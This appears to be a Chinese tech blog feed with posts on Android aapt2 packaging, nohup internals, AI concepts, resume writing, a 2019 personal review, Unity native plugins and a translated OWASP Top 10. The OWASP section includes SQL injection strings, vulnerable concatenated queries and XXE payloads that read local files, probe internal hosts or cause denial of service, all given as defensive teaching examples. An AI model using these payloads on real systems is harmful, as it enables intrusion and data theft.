使用自己编写的工具打包时,可以在对应目录下找到框架文件,然后 aapt link
时使用 -I path
传入,这样就可以解析 android
命名空间下的资源引用了。
经过前文的一些梳理,我们有了对 Android 资源链接 这一问题基本的认识。这一小节把没有明确解答的几个疑惑列举一下:
aapt2
区分了 compile 和 link 两个阶段,可以利用增量编译的特性,加快整个流程。
之前的用法是 compile 所有资源,解压生成的中间文件,再使用 link 进行链接,但是会报资源找不到的错误。
后来的解决方案是:不解压,直接把中间文件传递给 link,正常打包成功了。
研究 apktool 的代码,主要有两点收获。其一是发现 gradle 脚本的好处,各种预编译,单元测试以及打包。当然以前了解的 Makefile 也有这种功能,只是这次近距离接触,感触更深。其二是发现了预置的框架文件,解决了后面找不到 android 资源的问题。
看了许多文档,作用主要是导出了所有公有资源,这些资源的id是固定的,不应该重新生成。
但具体哪里读取 public.xml
,在 apktool 和 aapt2 的源码中没有找到直接引用。推测是 gradle 构建时会读取,然后通过 aapt 的 --stable-ids
参数进行传递。
还有个作用是在 AAR 中,别的应用如果引用不在 public.xml
中的资源,会被提示“引用了一个私有的资源”。
AAR 是 Android Studio 支持的一种格式,可以把代码和资源都打包进去,既可以共享代码,也可以共享资源文件。
不能防止资源冲突,AAR 的所有资源在编译时都会打包在一起,官方也建议,每个库在自己的资源ID前加上前缀,避免冲突。
暂时没有找到对应 android 编译任务的开源代码。
]]>前段时间逛论坛看到有人在研究 nohup
这个命令,突然意识到自己没有研究过这个常用命令,这次整理下。
nohup
属于 coreutils
这里先贴上部分核心代码:
1 | /* nohup -- run a command immune to hangups, with output to a non-tty |
可以看到核心代码还是很简洁的,忽略 SIGHUP
信号,执行 nohup
之后指定的命令,命令的 stdout
和 stderr
输出一般会被重定向至当前目录的 nohup.out
文件中。
其中 signal 是处理信号的函数,函数原型如下:
1 | typedef void (*sighandler_t)(int); |
信号处理函数的参数可以是 SIG_IGN
忽略信号,SIG_DFL
使用默认的信号处理机制以及用户自定义的函数地址。
从 Termination Signals (The GNU C Library) 可以查看到 SIGHUP
的含义:
The SIGHUP (“hang-up”) signal is used to report that the user’s terminal is disconnected, perhaps because a network or telephone connection was broken. For more information about this, see Control Modes.
This signal is also used to report the termination of the controlling process on a terminal to jobs associated with that session; this termination effectively disconnects all processes in the session from the controlling terminal. For more information, see Termination Internals.
通常来说,终端断开时,所有通过该终端运行的进程会收到 SIGHUP
信号,对应的默认机制是进程退出。这里忽略了 SIGHUP
信号,所有使用 nohup
执行的命令,在终端断开后仍能继续在后台运行。
其中 execve 用来执行程序,nohup
中使用的 execvp
在定位命令的行为上稍有不同。
The exec() family of functions replaces the current process image with a new process image.
exec()
这一系列的函数都会把当前进程替换为新的进程,其中有些东西是不会被继承的:
The dispositions of any signals that are being caught are reset to the default (signal(7)).
被捕捉并处理的信号会被重置,注意这里的 caught
,指的是用户定义的信号处理函数,因为进程替换,用户定义的函数地址不再有效,所以对应的信号处理函数被重置为默认值。
但是 nohup
中的 SIG_IGN
是直接忽略,所以会保留至 exec
替换的新进程中。
nohup
会重定向 stdout
和 stderr
,但不会影响 stdin
。
所以通常情况下,会使用 nohup command &
来将命令置入后台执行,这样就不会占用终端的输入,用户可以继续执行其他命令。
将程序对这个世界的认知以“特定情况下必须做什么”,以及它的目标通过数理逻辑的语言表达出来。程序通过逻辑判断不同情况下哪些动作是利于其目标实现的。
在大量的可能性中检索,例如 国际象棋中棋子的走法 或者 理论验证程序的推断结果。实践中人们不断有新的发现,使得相关程序可以在各个领域更有效率地完成搜索这件事情。
我们创造了 AlphaGo,一个将先进的搜索树和深度神经网络相结合的计算机程序。这些神经网络将围棋棋盘的状况当作输入,并通过一系列包含数百万类神经元连接的不同网络层进行处理。
其中的一个神经网络,“策略网络”负责决定游戏的下一步。其他的神经网络,“价值网络”则负责预测游戏的赢家。我们让 AlphaGo 参与无数的业余棋局,借此帮助其增进对合理人类游戏的理解。然后我们让它跟不同版本的自己对弈数千次,每次都让它从自己犯下的错误中不断学习。
随着时间的推移,AlphaGo 不断进步并且越来越擅长于学习和决策。这一过程被称为“强化学习”。Alpha Go 在不同的全球性赛事中击败了围棋世界冠军,可以说是有史以来最伟大的围棋选手。
通常程序被实现成,使用一种模式比较事物,以此作出观察。举例来说,人脸识别程序会在场景中通过匹配眼睛和鼻子形成的模式来找到一张脸。也有人在研究更复杂的模式,如在自然语言文本中,在国际象棋棋盘中或者在一些事件的历史中。
“嘿 Siri” 唤醒,识别之后的语音,进一步做搜索(使用关键词搜索并朗读结果),读取(查看日程,天气等),调用(结合“快捷指令”执行自定义操作,结合支持的App执行指定操作,如发微信给朋友)等功能。
这个世界的一些事实总得用一些方法表示出来,通常人们采用的是数学逻辑的语言。
从已知事实可以推断其他事实。在一些情况下,数理逻辑推导够用了,但 1970 年开始,非单调逻辑推断被引入。
最简单的非单调逻辑推理是,一般推理得出结论,但是当相反的证据出现以后,原有结论会被推翻。举例来说,当我们听到“鸟”,我们人会推断它可以飞翔,但当我们知道它是一只企鹅,这个结论就会被推翻。
这是AI在距离“人类级别”走的最远的研究方向,从 1950 年开始。例如开发非单调逻辑推理系统 和 行动理论。
基于联结主义和神经网络的AI研究方向。也有对如何使用逻辑表达定理的研究。程序只能学习可以形式化表示的事实或者行为,不幸的是,大多数的学习系统都受限于表示信息的能力。
1 | // QuickStart For beginners |
训练的数据集是在 1000 万的 YouTube 视频中抽取的帧(视频中完整的一张图片)。为了避免重复,数据集只会从每个视频中采用一张图片。每个样本都是一张 200*200 像素的色彩图片。
整个训练在 2000 台机器上运行一周。
我们观察到 YouTube 数据集中最常见的事物是身体部位和宠物,因此很有可能网络也从中学习到这些概念。
规划程序开始于了解世界的基本事实(特别是那些和动作带来的影响所关联的事实),特定情况下的事实以及声明的目标。基于这些事实,它们生成一个达成目标的策略。在大多数情况下,这个策略只是一系列动作的组合。
发展历程:
2009
Google 自动驾驶汽车项目启动,目标 不中断地自动驾驶 Toyota Prius 汽车行驶十段一百英里的路程2015
探索 Firefly 车型可以实现的全自动驾驶。这些车有定制化的传感器、计算机、驾驶与刹车,没有方向盘和踏板。 盲人体验世界上首例完全自动驾驶,行驶在 Austin,TX 的公路上2016
成立为 Alphabet 集团下的 Waymo 公司,专注于自动驾驶技术。2017
与菲亚特克莱斯勒汽车(FCA)公司达成合作,将 Chrysler Pacifica Hybrid 小面包车加入车队。这是首个全部集成 Waymo 硬件套件,并且量产的车型。2018
Waymo One 在 Phoenix 上线。2019
Waymo One 全自动驾驶逐步推广生产。研究解决世界上问题所需的各种知识。
研究事物存在的本质。在AI这一领域,程序和语句涉及到各种事物,我们主要研究这些类型是什么以及它们的基本属性是什么。本体论的研究开始于 1990 年。
尝试从程序中发现新的事情或者受到启发。这个术语在 AI 领域中经常被提到。
启发式方法
是指在搜索树中估计结点与目标之间距离的一种方法。启发式断言
是指比较搜索树中两个结点哪个更好,即哪个结点离目标更近,可能更有用。
配对随机生成的 Lisp 程序,从数以百万计的迭代中选出最佳结果。开发团队为 John Koza,这里有个教程
面试流程简短一些,首先是HR那边收集投递的简历,通过邮件发送,我帮忙过一下简历,从中选择一些人约面试。
这里讲一下简历相关的事儿。
无论公司规模大小,简历应该都是招聘的第一关。个人觉得用不用模板,其实影响不大,简历整体排版整洁,突出重点就可以了。
先说说排版,看简历第一眼看到的是整体的一个表现,排版可以不用过于精美,但也一定不要凌乱,使用奇怪的配色。电子版的简历最好是导出PDF,保证格式在自己和招聘方眼里都是一致的,反例如 使用Word文档,不同系统不同版本的软件打开,内容错位、字体丢失或者显示不全都是有可能的。
简历在排版,文件格式上出了问题,实际上很扣印象分,招聘方看你的简历,还需要花心思才能看到完整的内容,大公司的HR可能直接就跳过了,没那时间和心思去折腾。
然后是内容,一定要突出重点,招聘方需要的是什么,一般在岗位描述中都会写到。内容一般包括 个人介绍、教育经历、工作经历、项目经历、专业技能和语言能力,哪个部分排前面,哪个部分内容多写点,都要根据个人实际情况考虑清楚。
一般把姓名、出生年月、联系方式和毕业院校这些基本信息放在顶部。
已经参加工作的,自然是工作经历放在前面,用人单位招人是要做事情的,有工作经验的最好了。工作经历包含 任职公司、任职时间以及工作内容。其中,工作内容要写好。看了十几份简历,有的一笔带过,有的说不到重点。
从工作内容中,用人单位可以知道你平时工作内容和岗位的相关性,招你进来的学习成本怎么样;可以知道你在项目中是什么角色,具体负责哪些工作,是只会按照需求被动做事,还是主动发掘主动联系;这一部分的内容还影响面试官问的一些事情,感兴趣的话就工作经历深挖,聊一些细节问题,在聊天的过程中就能加深了解,也能更好的展示自己的能力。
那工作内容怎么写呢?不要堆技术名词,要把用到的技术代入业务场景,结合使用效果来说。可以参考 STAR 法则:
STAR法则,即为Situation Target Action Result的缩写,具体含义是:
Situation: 事情是在什么情况下发生
Target 你是如何明确你的目标的
Action: 针对这样的情况分析,你采用了什么行动方式
Result: 结果怎样,在这样的情况下你学习到了什么
还没参加工作的应届生,可以把自己参与的开源项目,平时的兴趣项目,甚至是校内的大作业在这一部分写出来,重点是要把自己做到的一些事情描述清楚。
其中,我觉得开源项目,不管是有没有工作过,都可以写一写。例如 开源了自己的兴趣项目、为开源项目增加了功能或者在维护了社区环境等等。
内容方面,跟工作经历的工作内容是一样的原则,不堆名词,把用到的技术融入到一件实际的事情中去描述,比陈列名词要更有说服力。
专业技能方面,一般是清单形式,不同分类上对什么技术有什么程度上的掌握。
这个部分一般放在最后,简单带一下。
]]>最近添置了一些家具,包括布衣柜,木书柜还有个小电锅。衣服,书籍都有了自己的专属地方~
准备了油盐,挂面,鸡蛋以及酱料,早上偶尔会自己煮面吃。
一月份新冠肺炎的疫情影响开始浮现,从一开始零星地有人戴口罩,到口罩断货,大家都开始戴起口罩,然后是武汉封城,这边的社区也开始封闭管理,设卡点检查体温。
我这边的话,二十多号就在广东老家了,生活基本稳定,没有太大影响。不过疫情带来的延迟复工,使得更多人更多地待在家里。组织篮球赛(都是家里人,知根知底的,并不是聚集,风险相对较小,这里声明一下QAQ),打牌和上山等各种活动都有。
平日里大家的生活节奏都快,有很多事需要忙,不见得停下来好好想一些事情,只顾着往前冲。其实闲下来,多陪陪家人,多思考思考,未尝不是件好事。
和喜欢的人在一起了~
开始恢复阅读习惯,下半年能接近一个月一本书,多读书是好事,沉下心阅读很重要,无论是这个过程还是从书中读到的内容都很值得。
这里直接贴上豆瓣标记的书评。
第一本读库,订了2019全年的。 我确实是更喜欢纸书,我的房间里最多的便是各种书籍杂志,有出版小说,有漫画,也有网文小说,还有名著。 在地铁上读完了这本书,开篇DK-13是2018年读库访谈记录,之后是对18年读库的概述,人物访谈《他说》,最后是手记。 看惯了玄幻,不太现实的书籍和影视,猛地触地,感觉也还好。 过去的剧照,老去的艺术家,现在的编辑,现实的访谈,是时候一头扎入《读库》系列,好好地读一读现实题材的文章了!
三个月前开始读这本书,留了几章没读,今天又想起了阅读,遂接上了这本书之前的进度。 全书以孩童的视角描述,孩子纯真的想法说出来,却也能让大人们由衷地感叹。年纪虽小,但也有自己的观点看法,会觉得怪人奇怪可怖,会觉得对黑人汤姆的审判和判决不公,也能在患难之后理解怪人,做出种种暖心的事情。 “知更鸟只是哼唱美妙的音乐供人们欣赏,什么坏事也不做。它们不吃人家院子里种的花果蔬菜,也不在谷仓里筑巢做窝,只是为我们尽情地唱歌。所以说杀死一只知更鸟是犯罪。”
略。(貌似是地铁上断断续续地看完的,可能记不太清了,所以没有留书评)
一场灾难造就了一座浮城,随波逐流的那些日子里,秩序不再,人们变得疯狂。没有靠岸希望的时候,人们烧杀抢掠,毫无理智。漂向日本时,无资产者渴望去往日本,既得利益者则尽力避免这一情况,希望保全自己的财产。没了秩序与希望的人们疯狂且可怕。
在生活中漂浮不定,受制于男人的吉儿小姐。从一开始,吉儿小姐的天真便被他人利用,几经周转,成了以色相为生的人士。在几个男人之间辗转,她开始独立起来,知道依赖于他人终归是不可靠的。她从天真变得成熟,从认人安排到自由选择,在赤柱集中营的那几天,她向教会忏悔,从其他英国人那获得认同,那里的生活要更简单,也没有多少人知道她的来历。但这段日子也要随着日本投降而远去,新的挑战,新的环境要来了。
“华”是“服章之美”,“夏”乃“礼仪之大”。春秋时诸夏与蛮夷轮番上阵,接连称霸,与之相对的便是一任任失败者,故为“失败者的春秋”。春秋之时,注重礼法,纪事行事皆要合礼,敌对关系也不影响。权柄在君臣之间沉浮,贵族们慢慢退出历史舞台,“野蛮”的战国时期来了。
在我看来,有两种高效的学习方式:要么跟着顶尖的专业人士学习,要么自学。
大卫产生了疑惑,开始挑战老师——那些政治宣传的老手,对军队的怀疑态度愈加清晰,“在取景器和已发表照片中所看到的,让我彻底成为一个和平主义者。” 他将来已不可能成为一位野心勃勃的军官。
如果在时间上不能两全,那么应牢记的原则是:时尚/广告拍摄的报酬足够高,只消拍上那么几天,就可以换得多日的个人自由。
摄影对我而言,依然是妈妈抓拍到小宝贝,然后展示给姥姥看······
刚开始,我在工作上游刃有余,后来,要花大量时间去跟管理者争论,而他们对课程或摄影一无所知。
狭窄的河道才能将肆溢的才华汇流成川。
二零一九年七月份换了工作,截至目前经手两个项目了,其一为聚合SDK及打包工具,主要是大幅简化原有的集成和维护的工作量,引入自动化的打包工具,减少人工;其二是仍在做的数据平台,带着三四人的开发小组,从需求细分与排期、着手开发到进度跟进与汇报,开发与项目管理都要做。收获还是有的,知道和人打交道其实是比较难做的,不同的人有不同的性格,在协调过程中要把握好时机与方法。
一如既往的,保持主动向上汇报进度和问题的习惯,而不是被动地等待询问、催促和联系。负责的事情主动跟进,有什么问题和进度及时沟通,汇报时注意措辞,把结论性言论放在最前面先说,根据情况再展开说细节。
平时工作主要是业务逻辑,技术上没有深挖,这点需要改进,更多地关注和学习深层的技术细节。不过业务逻辑上也能做些实践,例如提取可复用的方法成工具函数,工具类;抽象出基本逻辑,结合当前使用语言的语法,简化开发,避免冗长而难以维护的面条式代码;做好日志记录,方便维护及出错后排查问题。
游戏名 | 累计时长 | 增加时长 | 评价 |
---|---|---|---|
塞尔达传说 旷野之息 | 120h | +15h | 【自由探索】通关之后就玩了会DLC的神兽挑战,还有挺多游玩内容 |
超级马力欧:奥德赛 | 30h | +15h | 【自由探索】最近刚通关,开启了“桃花公主的城堡”,准备从头开始收集“力量之月” |
超级马力欧创作家2 | 15h | = | 【脑洞大开】鸽了,手残党没怎么打开这游戏了 |
死亡细胞 | 15h | +15h | 【节奏快易上手】新入手的类 Rouguelike 动作游戏,动作苦手开始了“冲冲冲然后回家”的旅途 |
喷射战士2 | 10h | +5h | 【新颖的FPS】联机类的游戏生命周期无限延长,奈何网络环境不太好,偶尔能正常玩几把 |
马力欧赛车8 豪华版 | 8h | +1h | 熟悉的赛车,丰富的赛道,比较费手 |
新超级马力欧兄弟U 豪华版 | 5h | +1h | 容易上头,动作苦手玩的少,后面找个时间通关 |
Nintendo Entertainment System | 2h | +2h | 任天堂会免 FC 游戏合集,有趣有难度 |
马力欧网球Aces | 3h | +2h | 趁着会免玩了几个小时,并没有入手 |
任天堂明星大乱斗 | 1h | +1h | 大学室友来这边了,想着入个大乱斗一起玩,不是很会 |
路易吉洋馆3 | 1h | +1h | 刚入手,刚体验一会,视角不能自由转动,不是很喜欢。不过游戏内容有待深度体验之后再作评价 |
塞尔达传说 织梦岛 | 0h | = | 刚入手,还没怎么玩,好像有些难度,画风可爱 |
回顾了一下豆瓣上的记录,看了好多影视剧,这里就不一一列出来了,有兴趣可以看看我的豆瓣主页(此处不贴链接,自己找QAQ)。
从去年八月份到现在,电影估摸着看了有56部,电视剧有10部左右。下面从其中选一些聊一聊:
看了下豆瓣上记录的时间,这几个系列都是在2019.9看完的,宅!
《霍比特人》、《指环王》,花了一个星期补完了这个中土奇幻冒险的魔戒系列电影,起因是看到一个剪辑的视频片段,再加上之前有些许了解,便花了些时间去看这六部电影。这个系列的电影真是时长惊人,基本都是三小时以上,十分考验腰力,哈哈。
个人推荐有兴趣的童鞋也可以去看看,独立完整的中土世界观,各有长处的种族,魔戒小队中人物饱满,冒险故事惊心动魄,十分有趣。霍比特人比尔博·巴金斯和矮人们互帮互助,共同成长的故事~
《加勒比海盗》,杰克船长真的是皮断腿,六亲不认的走路方式,不断浮现的鬼主意。整个系列讲述了被诅咒的不死海盗,在海洋上乘风破浪,四处冒险的经历。神秘的女巫,传说中的海神Davis Jones,飞翔的荷兰人以及挪威海怪。
追剧系列,如、《瑞克与莫蒂》三季、《猎魔人 第一季》、《看见 第一季》、《良医》三季以及《长安十二时辰》。
《星际迷航·发现号 第一季》,科幻未来,无法抵抗的题材,星际迷航这个系列也挺多的了,之前的没怎么看。最新的发现号剧中,有了更先进的技术,开启了与之对应新的冒险旅途,推荐。
《瑞克与莫蒂》,这个之前就看到很多“神作”的评价了,确实很不错,脑洞大开,画风可以的,十几分钟快节奏一个主题,有点像在看《马丁的早晨》一样,每一集都有新东西,推荐。
《猎魔人》,巫师这部作品,小说改游戏,游戏改影视,通吃!之前的只是知道“波兰蠢驴”的良心制作,游戏还没入手玩过,这次先看了剧,中规中矩,也是独立世界观。
《看见》,Apple TV+ 原创剧集。
在未来的世界,人类失去了视力,社会必须找到新的方式来交流互动、捕猎与生存。一对有视力的双胞胎诞生,所有这一切都受到挑战。
新颖的题材,还不错。
《长安十二时辰》,剧情还算紧凑,主要是奔着“雷大头”看的。
《良医》,也是在别的平台看到剪辑的视频后感兴趣的,肖恩,患有自闭症和学者综合症,因小时候弟弟发生意外,走上了外科医生的道路,与人交际给他带来了许多挑战。全剧中,不止是主角肖恩,每个人都有较为丰满的形象,在日常相处和手术室交谈中,大家都在成长,互相照顾,互相磨合。
]]>由于工作需要在接入第三方 SDK ,而一些第三方 SDK 没有提供 Unity 版本,就需要自己去包装一层需要调用的接口,之后就可以在 Unity 端统一接入,直接导出可用的对应平台的工程或程序包。
前几天开始封装 iOS 平台的 SDK,至此,已经接入过手机上主流的 Android 和 iOS 两个平台的SDK,这篇文章就是对之前开发插件的一个总结。
Unity 端调用 Android 端的方法,可以使用 AndroidJavaClass, AndroidJavaObject 和 AndroidJavaProxy 这三个类,通过 JNI 对应了 Java 中的类,对象和接口。
Unity 端调用 iOS 端的方法,则相对容易一些,也就是 C# 和 Objective-C 两个语言相互交互,可以注意到这两个都是 C 系语言,所以实际上 Objective-C 写的本地插件会被编译成 DLL 来给 C# 调用,处理好原始类型和引用类型的相互转换就可以了。
而反过来,插件回调至 Unity 端则有两种方法:
Unity 在 Android 和 iOS 平台上都支持调用 UnitySendMessage 方法来向 Unity 传递信息,Unity 端根据传递来的信息执行对应的逻辑。不过使用这一方法会有一些限制,我们先看一下这个方法的签名:void UnitySendMessage("GameObjectName1", "MethodName1", "Message to send");
,需要在 Unity 端有一个 GameObject 来接收信息,这个方法不能返回值,只能传递一个字符串,也就导致类型信息在这个过程中是丢失的。
下面详细介绍对应这两个平台的另一种回调方法:
Android 端 有一个 bar 方法,接受一个 ICallback 的实例作为参数:
1 | package com.test.sdk; |
为了能够给 bar 方法传递一个 ICallback 实例,我们需要在 Unity 端 对应定义一个接口:
1 | public class ICallback : AndroidJavaProxy |
接下来我们就可以在 Unity 端直接调用 bar 方法了:
1 | public void bar(ICallback callback) { |
可以看到以上场景中,我们使用 AndroidJavaProxy 对应实现了接口,使用 AndroidJavaClass 获取到 Java 类对象,通过 CallStatic 方法获取到用 AndroidJavaObject 对应表示的实例对象。
基本上这样就完成 Unity 和 Java 两端交互的功能了,Unity 端包装好之后,使用者是不需要接触到 AndroidJavaObject 这些类的。
上面用到的 ICallback
接口的方法定义中,只有 String
这种类型的数据,对于字符串、数字、布尔类型,Unity 和 Java 之间是可以直接相互传递的。
那要传递其他类型怎么办呢?这里以 Java 中 ArrayList 类型为例,除了刚才提到的可以直接传递的类型,其它类型都必须指定为 AndroidJavaObject
。
如需要在 Unity 中遍历,则需要这样做:
1 | AndroidJavaObject arrayObj = new AndroidJavaClass("com.test.sdk.FooBar").CallStatic<AndroidJavaObject>("getArray"); |
也就是必须使用 AndroidJavaObject
的方法将数据从其中取出来,不能直接使用 Java 端的字段和方法定义。
Unity - Scripting API: AndroidJavaObject
iOS端有一个 bar 方法,定义如下:
1 | typedef void (*BarHandler) (const char* message); |
对应的我们需要在 Unity 端这样定义:
1 | //1. 声明 iOS 端的导出方法 |
然后在 Unity 端这样调用:
1 | BarHandler handler = new BarHandler(onBar); |
[DllImport("__Internal")]
,其他平台的插件是动态链接的,使用 [DllImport("PluginName")]
。[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
用来标记方法为非托管 (Unmanaged) 方法,CallingConvention.Cdecl
是 C 和 C++ 语言默认的调用约定。部分个人觉得不太好翻译的内容保留英文原文
开放式 Web 应用安全项目, OWASP 风险评级:
评级角度 | 描述 |
---|---|
Exploitability | 漏洞是否容易使用 |
Weakness Prevalence | 漏洞的流行程度 |
Weakness Detectability | 漏洞是否容易被发现 |
Technical Impacts | 漏洞的影响程度 |
评级角度 | 星级 |
---|---|
Exploitability | * |
Weakness Prevalence | ** |
Weakness Detectability | * |
Technical Impacts | * |
不可信的数据被当作命令或查询的一部分发送到解释器而引发的注入漏洞,例如SQL, NoSQL, OS和LDAP注入。
攻击者的恶意数据可以欺骗解释器,使得其执行恶意代码或访问未授权的数据。
select
)和外部数据('
)。注入漏洞常见于 SQL,NoSQL,系统命令,ORM,LDAP,表达式语言和 OGNL 。
各类解释器中都可能存在这种问题。检查一个应用是否容易受到注入攻击,最好的办法就是代码评审,紧接着是对所有参数,信息头,URL,cookie,JSON,SOAP,和 XML 数据输入做全面的自动测试.
团队可以把静态代码测试和动态应用测试工具加入到持续集成/持续部署的流水线中,在部署到生产环境之前检查是否存在注入漏洞。
场景 #1: 应用将不可信数据拼接到 SQL 语句中:
1 | String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'"; |
场景 #2: 类似的,此例中应用对框架盲目的信任导致该查询仍然容易受到攻击,(e.g. Hibernate Query Language (HQL)):
1 | Query HQLQuery = session.createQuery("FROM accounts WHERE custID='" + request.getParameter("id") + "'"); |
在以上两种场景中,攻击者都可以在他们的浏览器中修改id参数为 ' or '1'='1
. 例如:
1 | http://example.com/app/accountView?id=' or '1'='1 |
这样修改之后,以上两种场景中,应用都会返回账户表中的所有记录。更危险的攻击可能会修改或删除数据,甚至调用存储过程。
评级角度 | 星级 |
---|---|
Exploitability | * |
Weakness Prevalence | ** |
Weakness Detectability | ** |
Technical Impacts | * |
应用中涉及认证和会话管理的方法很少被正确地实现,这也使得攻击者有机会盗取口令,密码或凭证,又或是通过其他实现的漏洞来临时乃至永久冒充用户身份。
想要防御认证相关的攻击,关键点在于正确实现用户身份的确认,相关认证机制以及会话管理。
如果应用包含以下特征,该应用中可能存在认证漏洞。
Password1
或是admin/admin
。场景 #1: 一种常见的攻击方式是,利用泄漏的密码来实施认证信息填充攻击。如果一个应用没有实现针对自动攻击或认证信息填充的保护机制,那么攻击者就可以把这个应用作为密码验证器,来验证窃取的认证信息是否可以在该应用中使用。
场景 #2: 持续使用密码这一单一认证机制使得认证攻击频繁发生。而谈到最佳实践时,通常的做法时是鼓励用户定期更换密码和使用较复杂的密码,避免重复使用弱密码。根据 NIST 800-63 这份数字身份指导文档,开发应用的团队应当改用多重验证,而不是只依赖于密码。
场景 #3: 未正确设置应用中会话的超时机制。例如一名用户使用公用电脑登入一个应用,用户离开时没有选择注销,而是直接关闭浏览器之后就离开了。一个小时之后,攻击者使用同样的浏览器打开相同的应用,此时该应用仍认为之前的用户认证是有效的。
评级角度 | 星级 |
---|---|
Exploitability | ** |
Weakness Prevalence | * |
Weakness Detectability | ** |
Technical Impacts | * |
许多网络应用和API都没有保护好敏感信息,例如金融,健康和个人验证信息(personally identifiable information, PII)。
攻击者可能会盗取或修改这些数据来实施信用卡诈骗,身份盗取和其他犯罪行为。
如果在和浏览器交换敏感数据之时或者之后没有加密等额外的保护,敏感数据很容易就会被盗取。
首先我们要确定数据在传输中和传输后有什么样的安全性需求。例如,密码,信用卡卡号,健康记录,个人信息以及商业机密,特别是那些在像欧盟的 GDPR 这样的隐私法,或是在像 PCI DSS 这样的法律的范围之内的数据,都需要进行额外的保护。
对于所有这样的数据:
参考 ASVS Crypto (V7), Data Prot (V9) and SSL/TLS (V10)
至少先做到以下几点,然后查询相关资料:
场景 #1: 一个应用把信用卡号存储在数据库中,依赖于数据库的自动加密机制。但是,从数据库中取出的数据是会被自动解密的,这就使得攻击者可以利用 SQL 注入漏洞来窃取明文的信用卡号。
场景 #2: 一个站点没有强制在所有网页上使用 TLS 或是允许使用安全性弱的加密协议。攻击者监听网络通信(例如 在一个不安全的无线网络中),将连接从 HTTPS 降级到 HTTP ,拦截请求并从中窃取用户的会话 cookie 。然后攻击者重放这个 cookie 并劫持用户(已认证的)的会话,访问或修改用户的隐私数据。与之前所不同的是,这次攻击者可以修改所有传输中的数据,例如 转账交易的收款账户。
场景 #3: 密码数据库使用未加盐或简单的哈希算法来存储所有人的密码。而攻击者可以借助文件上传漏洞获取到密码数据库,然后使用彩虹表破解所有未加盐哈希的密码。简单或快速的哈希函数产生的哈希值可能被 GPU 破解,即使加了盐。
评级角度 | 星级 |
---|---|
Exploitability | ** |
Weakness Prevalence | ** |
Weakness Detectability | * |
Technical Impacts | * |
许多旧的或是未配置正确的XML处理器会对XML文档中的外部实体引用进行求值。外部实体可以通过文件URL来访问内部文件,分享内部文件,扫描内部端口,执行远程代码以及执行拒绝服务攻击(denial of service, DOS)
基于 XML 的网络服务或是下游的集成方,满足以下情况则容易受到此类攻击:
开发者需要经过训练才能发现和减轻 XXE 攻击带来的危害。除此之外,预防 XXE 攻击还需要:
如果这些操作都不可行,考虑使用 virtual patching (在请求与源码之间的中间层临时打补丁,紧急抵御攻击而不需要立刻修改源码), API 安全网关或是网络应用防火墙(WAFs)来侦测,监管和屏蔽 XXE 攻击。
有很多公开的 XXE 的问题被发现,其中包括用于攻击嵌入式设备的问题。XXE 会出现在很多意想不到的地方,包括深度嵌套的依赖中。使用 XXE 进行攻击最简单的方式是上传有害的 XML 文件,如果这个文件被接受了,那么攻击者可以尝试以下几种攻击:
场景 #1: 攻击者尝试从服务器获取数据:
1 | <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ |
场景 #2: 攻击者通过更改上面的 ENTITY 一行为以下内容访问到服务器的私有网络:
1 | <!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]> |
场景 #3: 攻击者试图通过包含一个基本上包含无穷无尽内容的文件来进行拒绝服务攻击:
1 | <!ENTITY xxe SYSTEM "file:///dev/random" >]> |
评级角度 | 星级 |
---|---|
Exploitability | ** |
Weakness Prevalence | ** |
Weakness Detectability | ** |
Technical Impacts | * |
对认证用户可以做什么事情的限制通常不是很强。攻击者可以利用这些漏洞来访问未授权的功能/数据,例如访问其他用户的账户,查看敏感文件,修改其他用户的数据和修改访问权限等。
访问控制策略确保用户不能执行未被授予权限的命令。如果访问控制失效,通常会导致未授权数据泄漏,所有数据遭到修改甚至毁坏或者是执行一个不在用户授权范围内的业务逻辑。常见的访问控制缺陷包括:
只有在可信的服务端或不需要服务端的 API 中强制执行的访问控制才是有用的,因为攻击者没办法修改访问控制的机制检查或是元数据。
开发者和 QA 团队应该引入有效的访问控制单元和集成测试。
场景 #1: 应用在访问账号信息的 SQL 中使用了未验证的数据:
1 | pstmt.setString(1, request.getParameter("acct")); |
攻击者只需要简单地在浏览器中修改 acct
参数为任意账号并获取对应用户的账号数据。
http://example.com/app/accountInfo?acct=notmyacct
场景 #2: 攻击者直接定位到指定的 URL 。访问管理页面需要管理员权限。
1 | http://example.com/app/getappInfo |
如果未认证的用户可以访问这两个页面,或者普通用户可以访问管理页面,这就说明存在访问控制失效的漏洞。
评级角度 | 星级 |
---|---|
Exploitability | * |
Weakness Prevalence | * |
Weakness Detectability | * |
Technical Impacts | ** |
最常见的问题是安全配置不当。通常是由不安全的默认配置,不完整或临时的配置,开放的云存储,错误配置的HTTP headers 以及 基本的错误信息中包含敏感信息引起的。只是安全地配置好所有操作系统,框架,库和应用是不够的,还需要及时更新它们。
存在以下情况的应用容易受到此类攻击:
如果没有一个投入的,重复的应用安全配置流程,系统就会处于高风险状态。
Secure installation processes should be implemented, including:
场景 #1: 应用服务器上带有未从生产环境移除的示例应用。这些示例应用包含已知的漏洞,攻击者可以利用这些漏洞来入侵服务器。如果其中一个应用是管理控制台,而且默认的账户没有被修改,那么攻击者就可以使用默认的密码登入并且控制服务器。
场景 #2: 服务器没有禁用目录展示的功能。一位攻击者发现他可以轻易地展示出目录列表。这位攻击者发现并下载了编译后的 Java 类文件,随后对其进行反编译和逆向工程来查看代码,并从中发现了应用中存在的严重的访问控制漏洞。
场景 #3: 应用服务器的配置中允许将详细的错误信息返回给用户,例如 stack traces。这一配置潜在地暴露了敏感信息或者底层缺陷,例如组件的版本,攻击者可以借此查找对应的安全漏洞。
场景 #4: 一家云服务提供商默认将分享权限开放给网络中其他 CSP 用户。这就使得存储在云端的敏感数据可能被他人访问。
评级角度 | 星级 |
---|---|
Exploitability | * |
Weakness Prevalence | * |
Weakness Detectability | * |
Technical Impacts | ** |
如果应用使用不可信数据来创建新的网页却又没有进行适当的验证或转义,或是通过可以创建HTML/JavaScript的浏览器API将用户提供的数据更新到现有页面上,这个时候就可能出现XSS漏洞。攻击者可以借助XSS在受害者的浏览器中通过执行脚本来劫持用户会话,破坏网站或是将用户重定向到恶意网站。
有三种形式的 XSS,攻击对象通常是用户的浏览器:
反射型 XSS: 应用或 API 将用户输入的内容不经验证和转义直接包含在输出的 HTML 中。一次成功的攻击使得攻击者可以在受害者的浏览器中执行任意的 HTML 和 JavaScript。通常用户需要点击恶意链接,跳转到攻击者的页面,例如恶意的酒馆(watering hole)网站,广告或者类似的内容。
